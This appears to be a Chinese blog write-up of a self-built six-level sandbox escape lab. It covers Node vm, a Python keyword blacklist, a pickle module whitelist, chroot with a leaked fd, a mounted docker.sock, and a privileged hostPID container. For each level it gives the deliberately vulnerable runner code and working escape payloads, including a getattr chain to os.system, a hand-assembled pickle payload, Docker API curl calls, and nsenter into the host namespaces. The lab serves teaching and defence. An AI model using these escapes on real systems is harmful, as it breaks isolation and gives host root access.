Sandbox Escape Lab · 沙箱逃逸靶场

7256 字
36 分钟
Sandbox Escape Lab · 沙箱逃逸靶场

先看看沙箱逃逸是什么#

定义#

沙箱:把一段不可信代码放进一个受限的执行环境,让它在最坏情况下也只能做我们允许它做的事。

这句话包含两项都必须满足的要求,缺一不可:

  • 边界:一个明确、可执行的隔离层。代码跑不到边界外面。
  • 策略:边界内允许做什么的清单。读文件?发网络?跑多久?占多少内存?

只有边界,没有策略,就等于没有隔离;只有策略,没有边界,就等于只写了一份声明。

沙箱逃逸:被限制的主体取得了策略之外的权限。典型结果是:拿到宿主的文件、宿主的进程、宿主的网络,或者直接拿到宿主 shell。

关键在“策略之外”这四个字。逃逸不是“我把活干完了”,而是“我干了本来不该被允许的事”。

从沙箱内到沙箱外,通道只有三类#

  • 引用回指:沙箱想隐藏功能,却留下了生成功能的入口

语言级沙箱隔离的是名字,而不是对象来源。你把 require、process、os 从作用域里删掉,但沙箱里每个字面量仍然是宿主 Realm 创建的对象;它的 constructor、class、globals 都指回宿主。顺着这些引用往上爬,就能重新构造出你删掉的功能。

L1 的 this.constructor.constructor(‘return process’)() 就是这条链最短的形式;L2 的 getattr 拼接、L3 的限定名解析,本质相同,只是绕过了过滤器。

  • 句柄漏出:已经打开的内核对象不会随沙箱改变

隔离层改变的是路径解析(chroot 把 / 换掉)或可见性(容器看不到宿主的进程),但已经打开的东西包括 fd、socket、挂载点、mmap、环境变量,不随这些变化。

L4 是最清楚的教学材料:/flag_l4 在 chroot 之后确实看不见了,但父进程早就把指向外部 / 的 fd 递了进来,fchdir(3) 一步就出去了。L5 同理:容器文件系统隔离得很严,但 docker.sock 这个宿主 API 的句柄被手递手送进了容器。

  • 边界实现缺陷:边界写错了,或者参数给宽了

内核漏洞(CVE-2022-0185、Dirty Pipe、CVE-2019-5736 覆盖 runc)、cgroup release_agent 之类属于“实现有 bug”;privileged: true、pid: host、—cap-add=SYS_ADMIN 属于“参数给宽了”。

L6 属于后者,也是现实中占比最高的一类,因为没人给你打补丁,错误配置会一直存在。


Tips — 一个必须分清的概念:bypass ≠ escape

策略绕过​:还在沙箱里,只是让过滤器失效了。拿到的权限没有超出运行沙箱的那个进程本身。我靶场里的 L2、L3 严格说属于这一类:黑名单绕过、白名单绕过。 边界逃逸​:跨到了另一个信任域,权限级别变了。L4、L5、L6 才是。


真实世界长什么样#

  • 浏览器:先打 V8 的 JIT 类型混淆(如 CVE-2020-6418)拿到渲染进程 RCE,这只是第一步;第二步要打 Chrome 的进程沙箱(seccomp-bpf + 命名空间)才算完整逃逸。所以浏览器漏洞通常按“两段式”定价。

  • 容器:CVE-2019-5736(runc 覆写宿主二进制)、CVE-2022-0492(cgroup release_agent),都是“容器里 root → 宿主 root”。

  • 语言级沙箱基本被判死刑:Node 官方文档直接写 vm 不是安全机制;vm2 这个曾经的 Node 沙箱库被连续打穿,作者 2023 年弃更;Java 的 SecurityManager 从 JDK 17 弃用、JDK 24 彻底移除。

  • 多租户跑代码的正解:Firecracker 这类 microVM,一个租户一台轻量虚机,配双重隔离。

防御#

  • 逃逸面与你递进去的东西正相关。​ 能不给的句柄一律不给;L4 的那个 fd、L5 的那个 socket,都是“为了省事”递进来的。

  • 策略用白名单,边界用内核或硬件。​ 黑名单的宿命是漏,而且你永远想不全。

  • 纵深防御。​ 语言级 + 进程级 + 容器 + microVM,任何一层破掉都不该是终局。

  • 最小权限。​ privileged 基本等于“我放弃隔离了”;capability 按需给,no_new_privs、只读挂载、seccomp 默认拒绝。


Sandbox Escape Lab · 沙箱逃逸靶场#

六关,六种隔离手段,六个洞。目标统一:从沙箱里逃出去,读走 flag。

前面四关是语言 / 系统调用级别的沙箱(Node 的 vm、Python 黑名单、 pickle 白名单、chroot),在浏览器里直接打;后面两关是容器级的 (Docker socket、privileged + hostPID),要进容器敲命令。

L1 8900 页面上 Node.js vm.createContext
L2 8900 页面上 Python 关键字黑名单 + 阉割 builtins
L3 8900 页面上 pickle + 模块白名单
L4 8900 页面上 chroot + 继承的 fd
L5 终端 /var/run/docker.sock 挂进容器
L6 终端 privileged + pid=host

快速开始#

Terminal window
cd sandbox-escape
./setup.sh # 或在仓库根目录 ./lab.sh up

然后打开 **http://127.0.0.1:8900/**。

一键验证前四关(先自己打,打不动再看):

Terminal window
python3 poc/verify.py

L5 / L6:

Terminal window
docker exec -it sbox-sock bash
docker exec -it sbox-priv bash

关卡设计与解答#

#关卡沙箱做对了什么洞在哪
L1Node.js vm干净上下文,没有 process / require上下文对象仍属于宿主 realm,constructor.constructor 直通宿主 Function
L2Python 黑名单拦了 11 个关键字,builtins 只留计算器该有的黑名单只匹配字面量;getattr + 字符串拼接绕过
L3pickle 白名单find_class 卡住模块名qualname 里的点号会被展开成属性链,白名单模块 import 过的都是跳板
L4chroot把 / 换成 /jail父进程把 / 的 fd 传进来了,fchdir + chroot(".") 原路返回
L5Docker socket——socket 等于免密 root,能进任何容器、起任何容器
L6privileged + hostPID——共享宿主 PID 命名空间,/proc/1/root 就是宿主根

L1 —— vm 为什么不是沙箱#

Node 文档原话:The vm module is not a security mechanism.vm.createContext() 隔离的是变量作用域,不是 Realm。沙箱里拿到的每个对象(包括字面量)都来自宿主进程的 Realm,它们的 constructor 指向宿主的构造函数。

看源码

// =============================================================================
// L1 执行器:把用户代码丢进 Node 的 vm 模块里跑
// =============================================================================
// vm.createContext() 造出来的「干净上下文」里没有 process、没有 require、
// 没有 Buffer —— 看起来像个沙箱,但 Node 官方文档写得很直白:
//
// "The vm module is not a security mechanism.
// Do not use it to run untrusted code."
//
// 原因:沙箱里的对象本质上还是**宿主 realm 的对象**。只要拿到任意一个对象,
// 就能顺着 constructor 链摸到宿主 realm 的 Function 构造函数,
// 用它 new 出来的函数是宿主作用域里的函数,作用域链最顶端就是 global。
//
// 这一关要你自己找到那条链。
// =============================================================================
const vm = require('vm');
const fs = require('fs');
const util = require('util');
let code = '';
try {
code = fs.readFileSync(0, 'utf8'); // 从 stdin 读用户代码
} catch (e) {
console.error('[sandbox] 读不到输入');
process.exit(0);
}
// 沙箱里只给一个 print —— 相当于真实产品里那种「计算器 / 表达式求值」接口
const sandbox = {
print: (v) => process.stdout.write(String(v) + '\n'),
};
const ctx = vm.createContext(sandbox, { name: 'sandbox' });
try {
// timeout 只挡得住同步死循环,挡不住逃逸 —— 逃出去之后是宿主进程在跑
const result = vm.runInContext(code, ctx, { timeout: 1000, displayErrors: true });
if (result !== undefined) {
process.stdout.write('[sandbox] ' + util.inspect(result) + '\n');
}
} catch (e) {
const name = e && e.name ? e.name : 'Error';
const msg = e && e.message ? e.message : String(e);
console.error('[sandbox] ' + name + ': ' + msg);
}

顺三次就到宿主:

this.constructor // 宿主 Object
.constructor // 宿主 Function
('return process')() // 宿主作用域里执行 —— process 回来了
.mainModule.require('fs') // require 也回来了

真正要隔离不可信 JS,只能上独立进程 / 单独的系统调用过滤(如 isolated-vm、或者干脆丢进另一个容器)。

答题#

Node.js vm —— 语言级沙箱的经典误区
javascript · vm.createContext
目标 /flag_l1
平台用 vm.createContext() 造了个「干净上下文」,里面没有 process、require、Buffer,只给了你一个 print()。代码的最后一行会被当成结果打印出来。
但 Node 官方文档写着:vm 不是安全机制。为什么?

沙箱里没有 process,但沙箱里的每一个对象都属于宿主 Realm。取一个字面量的 constructor,再取它 constructor,就是宿主的 Function ——它 new 出来的函数在宿主作用域执行,return process 就把它要回来了。

粘进页面:

this.constructor.constructor('return process')()
.mainModule.require('fs').readFileSync('/flag_l1', 'utf8')

回显:[sandbox] 'FLAG{sandbox_escape_node_vm_1a2b}\n'(util.inspect 会给字符串加引号)。

为什么能成: vm.runInContext 换的是 global 对象,不是 Realm。Function 构造函数属于宿主编译出来的那个 Realm,它的 [[Realm]] 里有 process。

卡点:this 在沙箱顶层指向的是 context 的 global 代理,this.constructor能拿到宿主 Object;如果写 ({}).constructor 效果一样。 process.mainModule 只在 CommonJS 入口下存在 —— 本关卡就是 node xxx.js 起的,所以有。ESM 入口下得换 process.binding 之类的路子。

L2 —— 黑名单永远漏东西#

看源码

#!/usr/bin/env python3
# =============================================================================
# L2 执行器:关键字黑名单 + 阉割版 builtins
# =============================================================================
# 这是真实世界最常见、也最没用的一种「沙箱」:正则/子串黑名单。
# 它只能拦住**字面量**。而 Python 里「名字」是可以在运行时拼出来的:
#
# '_' + '_class_' + '_' → __class__
# getattr(obj, 拼出来的名字) → 拿到原本被关键字挡住的属性
#
# 所以黑名单里每个被漏掉的名字都是一个洞。本关的黑名单是照着
# 「一个只想到 os / import / open 的开发者」写的 —— 看看漏了谁。
#
# 注意:沙箱代码是独立子进程跑的,所以它的输出(包括 system() 这类
# 直接写 fd 1 的东西)都会原样回到页面上。
# =============================================================================
import sys
# 开发者能想到的危险词,全在这里了(他以为)
BLACKLIST = [
"import", "open", "eval", "exec", "__",
"os", "subprocess", "builtins", "globals",
"compile", "breakpoint",
]
# 只留「计算器该有的」内置函数。看起来人畜无害 —— 真的吗?
ALLOWED_BUILTINS = {
"print": print, "len": len, "range": range, "str": str, "int": int,
"float": float, "bool": bool, "list": list, "dict": dict, "tuple": tuple,
"set": set, "sum": sum, "min": min, "max": max, "abs": abs,
"sorted": sorted, "enumerate": enumerate, "zip": zip, "repr": repr,
"format": format, "chr": chr, "ord": ord, "isinstance": isinstance,
"getattr": getattr, "hasattr": hasattr,
}
def report_hits(src):
"""把命中的词连同行号、列号和那一行原文一起打出来。
真实世界的黑名单大多只回一句 "contains forbidden word",让人自己肉眼找。
这里多给一点定位信息 —— 不代表它变强了,只是少浪费你十分钟。
"""
found = []
for lineno, line in enumerate(src.splitlines(), 1):
for word in BLACKLIST:
col = line.find(word)
if col >= 0:
found.append((word, lineno, col + 1, line))
if not found:
return False
print("[sandbox] 拒绝执行:命中黑名单")
for word, lineno, col, line in found:
text = line if len(line) <= 72 else line[:72] + "…"
print(" %r 第 %d 行第 %d 列" % (word, lineno, col))
print(" %4d | %s" % (lineno, text))
print(" 提示:黑名单扫的是**全文**,字符串、注释、变量名里"
"出现连续两个下划线都算。")
return True
def main():
src = sys.stdin.read()
if report_hits(src):
return
g = {"__builtins__": ALLOWED_BUILTINS}
try:
exec(compile(src, "<sandbox>", "exec"), g)
except BaseException as e: # noqa: BLE001 —— 用户代码什么都能抛
print("[sandbox] %s: %s" % (type(e).__name__, e))
if __name__ == "__main__":
main()

页面源码里能看到黑名单和允许的 builtins。关键是两个事实:

  • 黑名单匹配的是字符串,而 Python 的名字可以在运行时拼出来:'_' + '_class_' + '_' 里没有连续的 __,但拼出来就是 __class__。
  • 允许列表里留了 getattr(“看起来人畜无害”),它正好能把拼出来的名字当属性名用。

于是 ().__class__.__bases__[0].__subclasses__() 这一条经典链就通了,在子类里找一个 __init__.__globals__ 含 system 的(os._wrap_close),直接 system('cat /flag_l2')。

黑名单这条路本身是走不通的 —— 要么白名单(且白名单要能穷举),要么不用exec(真正的隔离只能靠进程 / 容器 / seccomp)。

答题#

Python 关键字黑名单 —— 只拦得住字面量
python · 子串黑名单 + 阉割 builtins
目标 /flag_l2
管理员写了 11 个关键字黑名单,还把 builtins 削成了计算器该有的样子。 只要你的代码里出现黑名单里的词,直接拒执行。
但黑名单里漏了一个函数—— 那个函数能把「运行时拼出来的字符串」当属性名用。

黑名单有 11 个词,getattr 不在里面 —— 这是唯一的突破口。因为 __class__ 这类属性名可以在运行时拼出来,而黑名单匹配的是源码里的字面量。

t = getattr((), '_' + '_class_' + '_') # tuple
o = getattr(t, '_' + '_ba' + 'ses_' + '_')[0] # object
for k in getattr(o, '_' + '_sub' + 'classes' + '_')():
i = getattr(k, '_' + '_in' + 'it_' + '_', None)
g = getattr(i, '_' + '_glo' + 'bals_' + '_', None)
if isinstance(g, dict) and 'system' in g:
g['system']('cat /flag_l2')
break

这里出现报错,AttributeError: type object 'object' has no attribute '__subclasses_' ,Python 找不到的属性名是 _subclasses,只有一个结尾下划线。

即name = '_' + '_subclasses_',只拼接了前面的 _,漏掉了后面那个。

修正:

d = '_' * 2
t = getattr((), d + 'class' + d) # tuple
o = getattr(t, d + 'ba' + 'ses' + d)[0] # object
for k in getattr(o, d + 'sub' + 'classes' + d)(): # object.__subclasses__()
i = getattr(k, d + 'in' + 'it' + d, None)
g = getattr(i, d + 'glo' + 'bals' + d, None)
if isinstance(g, dict) and 'system' in g:
g['system']('cat /flag_l2')
break

返回拒绝执行:命中黑名单 ['__'],是因为代码里某处出现了连续两个下划线。

再修:

d = '_' * 2
t = getattr((), d + 'class' + d)
o = getattr(t, d + 'ba' + 'ses' + d)[0]
for k in getattr(o, d + 'sub' + 'classes' + d)():
i = getattr(k, d + 'in' + 'it' + d, None)
g = getattr(i, d + 'glo' + 'bals' + d, None)
if isinstance(g, dict) and 'system' in g:
g['system']('cat /flag_l2')
break

回显里直接出现 FLAG{sandbox_escape_py_blacklist_3c4d}(system() 写的是 fd 1,子进程的输出会原样回来)。

为什么能成:getattr + 字符串拼接 = 任意属性访问。__subclasses__() 里能翻到 os._wrap_close,它的 __init__.__globals__ 就是 os 模块的 全局字典,里面有 system。

卡点:

  • 别直接写 __class__,会命中 __。
  • '_' + '_class_' + '_' 拼出来才是 __class__,源码里没有连续的 __。
  • 环境里没有 os 这个名字,别想 __import__ —— 它是 builtins,被削了; 只用 getattr + 拼名字。
  • 有些子类没有 __init__(比如 type 自己的实例),所以要给 getattr(..., None) 兜底。

L3 —— 白名单校验了模块,没校验限定名#

看白名单

#!/usr/bin/env python3
# =============================================================================
# L3 执行器:给 pickle 加一个「模块白名单」
# =============================================================================
# 思路是对的 —— pickle 的危险全在 find_class(GLOBAL / STACK_GLOBAL 指令
# 会按 "模块名.属性名" 去 import 并取属性),把模块卡住就行。
#
# 但这个实现漏了一个细节:STACK_GLOBAL 推上来的是两个字符串,
# module 和 name。name 是**限定名**,可以带点号:
#
# STACK_GLOBAL("models", "subprocess.check_output")
#
# 白名单校验的是 module("models" 合法),然后 super().find_class() 会
# 按点号往 models 里一层层取属性 ——
#
# models → models.subprocess → models.subprocess.check_output
#
# 于是被放行的模块里 import 过的一切,都成了你的跳板。
#
# 修法只有一条:白名单要校验「模块 + 完整限定名」,或者干脆别 pickle
# 不可信数据(改用 JSON)。
# =============================================================================
import base64
import io
import os
import pickle
import sys
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import models # noqa: E402 —— 必须真的 import 进来,否则 sys.modules 里没有它
# 只允许业务对象所在模块;其他一律拒
ALLOWED_MODULES = {"models"}
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# 这里只看了 module,没看 name 里的点号
if module not in ALLOWED_MODULES:
raise pickle.UnpicklingError("模块 %r 不在白名单里(只允许 %s)"
% (module, sorted(ALLOWED_MODULES)))
return super().find_class(module, name)
def main():
raw = sys.stdin.read().strip()
if not raw:
print("[sandbox] 没有收到数据")
return
try:
data = base64.b64decode(raw, validate=True)
except Exception:
print("[sandbox] 载荷不是合法的 base64")
return
try:
obj = SafeUnpickler(io.BytesIO(data)).load()
except Exception as e:
print("[sandbox] 反序列化失败:%s: %s" % (type(e).__name__, e))
return
print("[sandbox] 反序列化得到的对象:%r" % (obj,))
if __name__ == "__main__":
main()

看models.py

# =============================================================================
# L3 的「业务模块」—— 看起来只是一堆数据类
# =============================================================================
# 反序列化白名单只放行了 {models} 这一个模块,因为它就是你的业务对象所在处。
# 但业务模块总得干点活:这里 version() 要调 git / 打包工具,于是文件顶部
# import 了 os 和 subprocess。
#
# 记住这一点:白名单放行的是**模块**,模块里的 import 也跟着一起被放行了。
# =============================================================================
import os
import subprocess
class Point:
"""一个二维点。示例载荷就是它,序列化后 module=models, name=Point。"""
def __init__(self, x=0, y=0):
self.x = x
self.y = y
def __repr__(self):
return "Point(x=%r, y=%r)" % (self.x, self.y)
class Tag:
"""一个标签。"""
def __init__(self, name="", color="#888888"):
self.name = name
self.color = color
def __repr__(self):
return "Tag(%r, %r)" % (self.name, self.color)
def version():
"""取一下构建版本号(打包脚本和 git 都可能不可用,所以有兜底)。"""
try:
return subprocess.check_output(["git", "describe", "--always"]).decode().strip()
except Exception:
return "unknown"

pickle 在还原对象时,STACK_GLOBAL 指令会压入两个字符串:module 和 name。name 是限定名,可以带点号,Unpickler.find_class() 内部会用 _getattribute() 按点号一层层取属性。

自定义 find_class 只看了 module:

if module not in ALLOWED_MODULES: # "models" 合法
raise ...
return super().find_class(module, name) # name = "subprocess.check_output"

models.py 顶部 import subprocess,所以

models → models.subprocess → models.subprocess.getoutput

载荷是手拼的(6 个 opcode):

PROTO 4
SHORT_BINUNICODE "models"
SHORT_BINUNICODE "subprocess.getoutput"
STACK_GLOBAL
SHORT_BINUNICODE "cat /flag_l3"
TUPLE1
REDUCE
STOP

修法:白名单要校验模块 + 完整限定名(or 用 pickle.Unpickler 的 find_class 只放行几个具体类),更彻底的做法是别对不可信数据用 pickle。

答题#

pickle 反序列化 —— 白名单只校验了模块名
python · pickle · find_class
目标 /flag_l3
接口收 base64 的 pickle 数据,用自定义 find_class 卡住了模块名: 只有业务模块 models 被放行。看起来没问题。
但 STACK_GLOBAL 压上来的是两个字符串:module 和 name。 name 是限定名,可以带点号。

白名单卡的是 module,但 STACK_GLOBAL 的 name 是限定名, super().find_class() 会用 _getattribute() 按点号展开:

module = "models" ← 白名单放行
name = "subprocess.getoutput" ← 点号一路取到 subprocess.getoutput

models.py 顶部 import subprocess,所以这条链是通的。

手拼载荷(6 个 opcode,在本地跑就行):

import base64
def su(s):
b = s.encode()
return b"\x8c" + bytes([len(b)]) + b # SHORT_BINUNICODE
payload = (
b"\x80\x04" # PROTO 4
+ su("models")
+ su("subprocess.getoutput")
+ b"\x93" # STACK_GLOBAL
+ su("cat /flag_l3")
+ b"\x85" # TUPLE1
+ b"R." # REDUCE + STOP
)
print(base64.b64encode(payload).decode())

把输出gASMBm1vZGVsc4wUc3VicHJvY2Vzcy5nZXRvdXRwdXSTjAxjYXQgL2ZsYWdfbDOFUi4=粘到页面的 L3 输入框,点「反序列化」:

[sandbox] 反序列化得到的对象:'FLAG{sandbox_escape_pickle_attr_5e6f}\n'

这50个字节是

0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'models'
10: \x8c SHORT_BINUNICODE 'subprocess.getoutput'
32: \x93 STACK_GLOBAL
33: \x8c SHORT_BINUNICODE 'cat /flag_l3'
47: \x85 TUPLE1
48: R REDUCE
49: . STOP
  • \x80\x04:声明协议版本 4。必须 ≥4,因为低版本走 getattr(module, name) 的整串查找,点号不会被展开成属性链,这关就打不通。
  • \x8c + 长度字节 + 字符串:su() 生成的就是这个。\x8c\x06models 里的 \x06 是 “models” 的 6 个字节,\x8c\x14 的 0x14 就是 20,正好是 “subprocess.getoutput” 的长度。
  • \x93 STACK_GLOBAL:从栈上取两个字符串,调用 find_class(module, name)。白名单只检查了前一个,也就是 models。
  • \x85 TUPLE1:把栈顶的命令字符串打包成单元素元组 (‘cat /flag_l3’,),因为 REDUCE 需要参数元组。
  • R REDUCE:执行 callable(*args),这里等价于 subprocess.getoutput(‘cat /flag_l3’)。
  • . STOP:结束,栈顶对象就是 load() 的返回值,被 print(“%r”) 打出来。

为什么能成:见上。getoutput 返回字符串,正好被 print("%r") 打出来。

卡点:

  • 必须是 protocol ≥ 4(\x80\x04),低版本协议走的是 getattr 而不是 点号展开,绕不过去。
  • module 别写成 models.subprocess —— 白名单比对的是整个字符串。
  • 想看清楚载荷结构,pickletools.dis(payload) 一行行给你翻译。
  • 想换成读文件也行:subprocess.check_output + 参数列表(要多几个 opcode 拼 list),或者用 models.os 这条链 —— models.py 也 import 了 os。

L4 —— chroot 不是安全边界#

看源码:

#!/usr/bin/env python3
# =============================================================================
# L4 执行器:chroot 文件沙箱
# =============================================================================
# chroot 只改「进程看到的 / 是哪一层目录」,它不创建新的命名空间、
# 不限制系统调用、也不回收已经打开的文件描述符。
#
# 所以 chroot 的唯一有效性来自一个前提:**沙箱里没有任何指向外部的句柄**。
# 只要进程手里还捏着一个 jail 外的目录 fd,就能
#
# os.fchdir(fd) # 把 cwd 挪回 jail 外面
# os.chroot(".") # 把根重新设成 jail 外面
#
# 跑回来。本关的 bug 就在下面第 3 步:父进程为了把审计日志写到容器外,
# 提前打开 "/" 并以 fd 3 交给沙箱进程 —— 这个 fd 就是那道后门。
#
# 现实对照:容器逃逸里常见的「挂进来的 socket / 保留的 fd / 未关闭的
# 目录句柄」是同一类问题。sandbox 的边界一旦有句柄漏出去就不再是边界。
# =============================================================================
import os
import resource
import sys
JAIL = "/jail"
LOG_FD = 3 # 审计日志的落盘句柄(父进程预先打开,见下面 open+dup2)
def run_in_jail(code: str) -> None:
# 1. 打开「外部根」,固定成 fd 3 —— 这是本关唯一的漏洞
outer = os.open("/", os.O_RDONLY | os.O_DIRECTORY)
os.dup2(outer, LOG_FD, inheritable=True)
# 2. 收缩视野:此后 / 就是 /jail
os.chroot(JAIL)
os.chdir("/")
# 3. 限制 CPU 时间,防止死循环把父进程一起拖死
resource.setrlimit(resource.RLIMIT_CPU, (3, 3))
# 4. 沙箱里给的东西:os(「文件沙箱」总得有文件操作)+ 内置 print/open
g = {
"__builtins__": __builtins__,
"os": os,
"sys": sys,
"print": print,
"open": open,
}
try:
exec(compile(code, "<jail>", "exec"), g)
except BaseException as e: # noqa: BLE001
print("[jail] %s: %s" % (type(e).__name__, e))
def main():
# 先把要用到的都读完,chroot 之后就读不到 stdin 了(其实是还能读,
# 但子进程里没有必要)
code = sys.stdin.read()
pid = os.fork()
if pid == 0:
try:
run_in_jail(code)
finally:
sys.stdout.flush()
sys.stderr.flush()
os._exit(0)
os.waitpid(pid, 0)
if __name__ == "__main__":
main()

chroot 只改「这个进程眼里的 / 是哪一层目录」。它不建命名空间、 不拦系统调用、也不回收已经打开的文件描述符。

所以 chroot 的有效性依赖一个前提:沙箱里没有任何指向外部的句柄。 本关的 bug 是父进程为了把审计日志写到容器外,提前 open("/") 并 dup2 成 fd 3 交给沙箱 —— 这个 fd 就是出口:

os.fchdir(3) # cwd 挪回 jail 外面
os.chroot(".") # 根也挪出去(进程是 root,没人拦)
os.chdir("/")
open("/flag_l4").read()

现实里的对应物:容器逃逸时”挂进来的 socket / 没关的目录 fd / 泄漏的 /proc/self/fd”都是同一类问题。

答题#

chroot —— 只改视野,不回收句柄
python · chroot + 继承的 fd
目标 /flag_l4
沙箱用 chroot("/jail") 把你关起来,之后 / 就是 /jail。flag 在 /flag_l4,jail 外面。
但父进程为了把审计日志写到容器外,提前打开了 / 并以 fd 3 传了进来。这个 fd 就是出口。

沙箱进程是 root,chroot 之后 / 就是 /jail。但父进程在 chroot 之前 打开了 /,dup2 成 fd 3 传进来(“审计日志的落盘句柄”)。

print("jail 里的 / :", os.listdir("/"))
os.fchdir(3) # cwd 挪到 fd 3 指向的目录(jail 外面)
os.chroot(".") # 把根也设成那里
os.chdir("/")
print(open("/flag_l4").read())

回显:

jail 里的 / : ['readme.txt', 'data']
FLAG{sandbox_escape_chroot_fd_7a8b}

为什么能成:chroot 不回收 fd。fd 3 指的 inode 在 jail 外面, fchdir 直接把 cwd 放了出去,再 chroot(".") 就把根换了。 之所以能 chroot 第二次,是因为进程还是 root(CAP_SYS_CHROOT)。

卡点:

  • 不知道 fd 几号的话,可以 for i in range(3, 12): os.fchdir(i) 试 —— 本关是 3。
  • os.chdir("/..") 是没用的:.. 到 chroot 的根就到顶了,出不去。 这不是”用 .. 逃 chroot”的经典玩法,本质是外部 fd。
  • 顺序不能反:先 fchdir 再 chroot(".");先 chroot 的话相对路径就变了。

L5 —— 挂着 socket 的容器等于宿主#

题目有神秘提示:

能连上 socket,就等于拿到了 root@宿主机 —— 起容器、进容器、 挂宿主机目录,全都不用密码。最简单的验证:直接对 vault 下一条 exec 指令。想理解原理就别用 CLI,用 POST /containers/{id}/exec + POST /exec/{id}/start 自己拼一遍。

sbox-sock 挂载了宿主机的 /var/run/docker.sock。这个 socket 是 Docker 守护进程的完整 API 入口,没有鉴权 —— 谁连上谁就是 root。

sbox-vault 没开端口、没给 shell,只放了一个 /flag_l5。但从 runner 里:

Terminal window
docker exec sbox-vault cat /flag_l5

或者不用 CLI,直接拼 API(脚本化时更常见):

Terminal window
# 1. 建 exec
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-d '{"AttachStdout":true,"Cmd":["cat","/flag_l5"]}' \
http://localhost/containers/sbox-vault/exec
# 2. 启动它,输出直接流回来
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-d '{"Detach":false,"Tty":true}' \
http://localhost/exec/<ExecId>/start

更狠的一步是起一个 -v /:/host --privileged 的容器,宿主根目录就挂进来了。

修法:不要挂 socket;必须挂的话用 socket proxy 做 API 白名单,或者用 rootless / 无特权构建方案。

解题#

Terminal window
docker exec -it sbox-sock bash
docker ps

能看到 sbox-vault(就是目标容器)。最直接的一条:

Terminal window
docker exec sbox-vault cat /flag_l5

不用 CLI、纯 API 的走法(两段式,exec 是”创建” + “启动”):

Terminal window
# 1) 创建 exec 实例
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/flag_l5"]}' \
http://localhost/containers/sbox-vault/exec
# → {"Id":"<ExecId>"}
# 2) 启动并拿输出
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-d '{"Detach":false,"Tty":true}' \
http://localhost/exec/<ExecId>/start

拿到 flag:FLAG{sandbox_escape_docker_sock_9c0d}

为什么能成:docker.sock 是守护进程的完整 API,没有鉴权 —— 能连上 就是 root@宿主。exec 只是最省事的一种;起容器挂宿主机目录更狠:

Terminal window
docker run --rm --privileged -v /:/host alpine chroot /host cat /lab-escape/l6.flag

(这一条顺手把 L6 也打了 —— 概念上是”用 L5 的手段完成 L6 的目标”。)

卡点:

  • docker ps 报权限问题的话,确认 socket 挂对了: ls -l /var/run/docker.sock。
  • 用 python 更稳(stdlib 的 http.client 支持 unix socket),CLI 版本 和守护进程不匹配时用 DOCKER_API_VERSION 兜底。

L6 —— privileged + pid: host#

神秘提示:

--pid=host 让容器看见宿主的进程表,--privileged 给了足够的 capability 去穿过 /proc。 于是 /proc/1/root 就是宿主 PID 1 的根目录。 等价的另一条路是用 nsenter -t 1 -m -u -i -n -p 直接进宿主的各个命名空间。
macOS / Windows 上你逃到的是 Docker Desktop 的 Linux VM,不是 macOS 本身 —— 这恰恰说明容器不是虚拟机。

privileged: true 给了几乎全部 capability,pid: host 让容器和宿主共享 PID 命名空间。两个加在一起,/proc 里出现的就是宿主的进程表, 于是 /proc/1/root 直接指向宿主根文件系统:

Terminal window
cat /proc/1/root/lab-escape/l6.flag

等价的另一条路是 nsenter -t 1 -m -u -i -n -p,进宿主的所有命名空间。

macOS / Windows 上你逃到的是 Docker Desktop 的 Linux VM,不是 macOS 本身。 这一条不是”靶场不真实”,而是容器隔离模型的准确体现:容器不是虚拟机, 它和宿主共享内核,而 Docker Desktop 的”宿主”本来就是那台 VM。

解题#

Terminal window
docker exec -it sbox-priv bash
ls /proc | grep -E '^[0-9]+$' | wc -l # 318 —— 宿主那台 VM 的进程表
cat /proc/1/cmdline; echo # /initd:Docker Desktop 的 VM init
ls /lab-escape # 没有:不在容器的 rootfs 里
cat /proc/1/root/lab-escape/l6.flag

拿到 flag:FLAG{sandbox_escape_privileged_host_1e2f}

等价的 nsenter 走法(镜像里自带 util-linux,直接能用):

Terminal window
nsenter -t 1 -m -u -i -n -p -- cat /lab-escape/l6.flag

为什么能成:--pid=host 共享宿主 PID 命名空间 → 能看见宿主 PID 1; --privileged 给了 CAP_SYS_PTRACE / CAP_SYS_ADMIN → 能穿过 /proc/<pid>/root 进别人的 mount namespace。/proc/1/root 就是宿主根。

卡点:

  • 只给 --pid=host 不给 --privileged 的话,读 /proc/1/root 会被 Permission denied(缺 CAP_SYS_PTRACE)。
  • 文件不在容器里,别在 / 下面找。
  • macOS / Windows 上”宿主”是 Docker Desktop 的 Linux VM —— 这是对的, 容器共享的是那台 VM 的内核。

目录结构#

sandbox-escape/
├── Dockerfile # 主镜像(python + 借来的 node 二进制)
├── compose.yml # 四个容器
├── setup.sh # 一键起 + 铺 L6 的 flag
├── sock/Dockerfile # L5 的 CI runner 镜像
├── flags/ # 六个 flag
├── src/
│ ├── server.py # 调度服务(只用标准库)
│ ├── sandbox/
│ │ ├── l1_run.js # L1 执行器:vm.createContext
│ │ ├── l2_run.py # L2 执行器:黑名单 + 阉割 builtins
│ │ ├── l3_run.py # L3 执行器:pickle 模块白名单
│ │ ├── l4_run.py # L4 执行器:chroot(带那个 fd)
│ │ └── models.py # L3 的业务模块(白名单放行的那个)
│ ├── jail/ # chroot 的牢房
│ └── web/ # 页面
├── poc/verify.py # L1~L4 一键验证
└── answer/ANSWERS.md # 六关答案

几处实现说明(踩过的坑)#

页面上的输出为什么能拿到 system() 的结果? 每个关卡的用户代码都在独立子进程里跑(subprocess.run + 10 秒超时), 子进程的 stdout/stderr 原样回到页面。所以 system('cat /flag') 这种 直接写 fd 1 的输出也能看到 —— 如果用 contextlib.redirect_stdout 在 进程内重定向,反而会丢(system 写的是 fd,不是 Python 的 sys.stdout)。

为什么 L4 的 chroot 不影响服务本身? l4_run.py fork 出子进程才 chroot,父进程(服务)的根一直是容器根。

为什么主镜像要用 node 的二进制而不是 apt 装 nodejs? L1 的 runner 只用内置的 vm / fs,没有 node_modules,复制一个静态 一点的 node 二进制比装整个发行版快得多。node 20 在 bookworm 上编译, 跑在 trixie 的 python 镜像里,glibc 向下兼容,没问题。

